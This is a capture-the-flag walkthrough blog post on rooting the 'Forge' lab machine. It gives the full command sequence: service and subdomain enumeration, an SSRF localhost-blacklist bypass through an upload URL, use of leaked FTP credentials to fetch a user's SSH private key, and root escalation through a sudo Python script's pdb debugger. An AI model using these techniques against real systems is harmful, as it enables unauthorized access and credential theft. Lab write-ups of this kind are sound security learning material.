Forge info card

Forge is sooo fun! Loved it! It really is fun. Did I say it’s fun? Enjoy readin this writeup as much as I enjoyed rooting this box.


Service Scan w/ nmap

The information displays 3 open services running on the system. FTP, SSH, HTTP.

┌──(root kali)-[/home/kali]
└─# nmap -sC -sV -v -p- -oA hackthebox/forge forge.htb
Starting Nmap 7.92 ( ) at 2021-12-17 04:57 EST
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-title: Gallery
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

I have decided to begin with port 80 even though we have an ftp service running. From the looks of it, it is a gallery website (just as the information from the nmap scan) with an upload functionality. Whenever we have an upload functionality we should 100% check for unrestricted upload vulnerabilities etc..



As a continuation to my enumeration, I ran dirbuster. We have to look for hidden directories within the application as we might find hidden documents and information that could be useful for our exploit phase.

┌──(root kali)-[/home/kali]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://forge.htb/                                                                                                                                   1 ⨯
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://forge.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/12/17 05:15:46 Starting gobuster in directory enumeration mode
/uploads              (Status: 301) [Size: 224] [--> http://forge.htb/uploads/]
/static               (Status: 301) [Size: 307] [--> http://forge.htb/static/] 
/upload               (Status: 200) [Size: 929]                                

/static directory

Within it we should expect the following directories and type of files:

  • js
  • css
  • images

I have explored the directories and found main.js file. It provides information about our upload functionality.

Subdomain enumeration

My enumeration continues. In the following lines I will enumerate the subdomains of the application and sort the output with that of a status code 200 OK (in other words existing). We do this to discover hidden subdomains that could help us navigate our attack.

┌──(root kali)-[~]
└─# wfuzz -w /usr/share/spiderfoot/spiderfoot/dicts/subdomains.txt -H "Host: FUZZ.forge.htb" --hc 50 --hw 128 -t 100 |grep 200  

 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
000000008:   200        1 L      4 W        27 Ch       "admin"                                              
000000200:   302        9 L      26 W       281 Ch      "forms"                                              

We have found two subdomains: admin.forge.htb and forms.forge.htb where the second subdomain redirects us with a 302 code to the original page forge.htb. On the other hand admin.forge.htb is an actual subdomain with a status code 200. Upon visiting the website I get the message:

┌──(root kali)-[~]
└─# curl http://admin.forge.htb/  
Only localhost is allowed!

The only reasonable explanation for that message is that this subdomain is looking for a loopback call on or similar such as “IP address is registered as a loopback interface address, which is also known as localhost or local host. In computer networking, localhost is a hostname that means this computer.” The only webapp functionality that exists on the main domain is an upload functionality.

FTP Service

I have tried to access the ftp but it did not allow me to communicate to the service. I have noticed that the nmap scan displays the service as filtered meaning some type of firewall is blocking our (external) access to the service. And then I instantly thought that the path to the ftp service should be through the subdomain that I have found at admin.forge.htb. I have to find a way to access the ftp through the subdomain and check its contents.

Upload Functionality Test

I have decided to test the upload from url functionality and analyse the traffic in burp.

Firstly, I tested if it allows localhost access and figured it is blacklisted.

I have modified the request to point to the ftp service and got invalid protocol.

I have also tested uploading reverse shell but it took me short amount of time to figure there are too many hints that point in the other direction so I decided to focus on the fact that the localhost is blacklisted. When something is blacklisted it usually is inserted into a list of words that are forbidden on the application or functionality. So we have to find a way to bypass this.

File is successfully uploaded:

I have tried accessing the link the normal way as so:

But an error is displayed, so I have decided to curl it instead.

┌──(root kali)-[/home/kali/hackthebox]
└─# curl http://forge.htb/uploads/z7FBy4HMVBlEXRBRCv30
<!DOCTYPE html>
    <title>Admin Portal</title>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
    <center><h1>Welcome Admins!</h1></center>

We see that this provides us access to a directory called /announcements so I will try to access it. I have repeated the process by uploading the same url but including the /announcements at the back, then curl-ed the provided link and got the following information:

└─# curl http://forge.htb/uploads/HmjbDr7dMEH9P8OCyy4Z
<!DOCTYPE html>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

We understand that the ftp server has been setup with credentials user:heightofsecurity123! and that the /upload endpoint now supports ftp and ftps. We also understand that in order to access it we need to use the u parameter. This means that we can repeat the process and invoke ftp as url as so:

http://AdMin.ForGe.htb/upload?u=ftp://user:[email protected]/

We submit the url, copy and curl it:

┌──(root kali)-[/home/kali/hackthebox]
└─# curl http://forge.htb/uploads/5srvcQyocXgWBPHE7SdP                                                        130 ⨯
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 16 21:29 user.txt

There are two files called user.txt which is probably a flag and a file called snap. Let’s download them to see their contents:

Nice, we got the user. Now we have to think on foothold.


Now that we have the server-side-request-forgery vulnerability, we have to think of ways to exploit ftp to get foothold. Can we access other internal files? I tried accessing internal files but I got a server error obviously. There is an ssh service running, can we login with these credentials?

The following website is full of insanely useful information on ftp in urls. I am so grateful for this guy’s work and other people involved in his development. LINK –


Browsers often seem to violate this: they effectively start from the root of the file system of the FTP host. (I first observed this in IE 4.0 under Win95 and Lynx 2.7.1 under Unix.) Thus, in order to access file .plan in user jkorpela's home directory on, a correct URL would be ftp://[email protected]/.plan but this does not work on IE which requires something like ftp://[email protected]/m/fs/lai/lai/LK/lk/jkorpela/.plan (which does not work on other browsers). Moreover, as mentioned above, some versions of IE are unable to prompt for password, so even that URL might not work unless you put the password there.

We might be able to access the id_rsa file that is located in the root directory of the user if we make this right.

http://AdMin.ForGe.htb/upload?u=ftp://user:[email protected]/user/.ssh/id_rsa

I got 404 not found. Of course, I get 404 when the following is interpreted as so “/root/user/.ssh/id_rsa” I have to remove /user since it should be located in the root folder by default. Let’s repeat.

┌──(root kali)-[~]
└─# curl http://forge.htb/uploads/5vpjRkn7pdbmwJLBlWc7 -o id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2590  100  2590    0     0  25305      0 --:--:-- --:--:-- --:--:-- 25392
└─# cat id_rsa                                                  
<edited>                              <edited>                         <edited>

ssh with id_rsa

┌──(root kali)-[~]
└─# chmod 600 id_rsa
┌──(root kali)-[~]
└─# ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

Privilege Escalation

One of the first things I tried provided us with great information about next steps. Firstly, we understand that we can run python3 and a python script as root with no password.

Last login: Sun Jan 16 23:52:17 2022 from
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/

Let’s analyse what this python script does.

-bash-5.0$ cat /opt/
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', port))
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
except Exception as e:

We have a hardcoded password in the code: secretadminpassword .

It opens a local listening port with sock which accepts connections and will require us the hardcoded password. We can observe that it calls ps, df, ss system commands to do certain tasks. In case of an error it prints “e” which is within pdb.post_mortem. I have to admit I don’t understand the debugger enough so I will be googling that a bit.

Looking at this, one of two things comes to my mind at the moment:

  • Path Poison
  • Some type of error that could break the application in order to invoke “e” and see what happens.

Let’s run the script.

-bash-5.0$ sudo python3 /opt/ 
Listening on localhost:55286

I have to open a second ssh connection in order to interact with the process.

The program works as expected when supplied with numbers. What would happen if I supply letter?

After supplying the input with letters, the pdb debugger has opened. Let’s see how we can use it to privesc. After googling a bit, I have found that we can import os and run shell commands.

(Pdb) import os
(Pdb) os.system("/bin/bash")
[email protected]:/home/user# whoami
[email protected]:/home/user# 

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: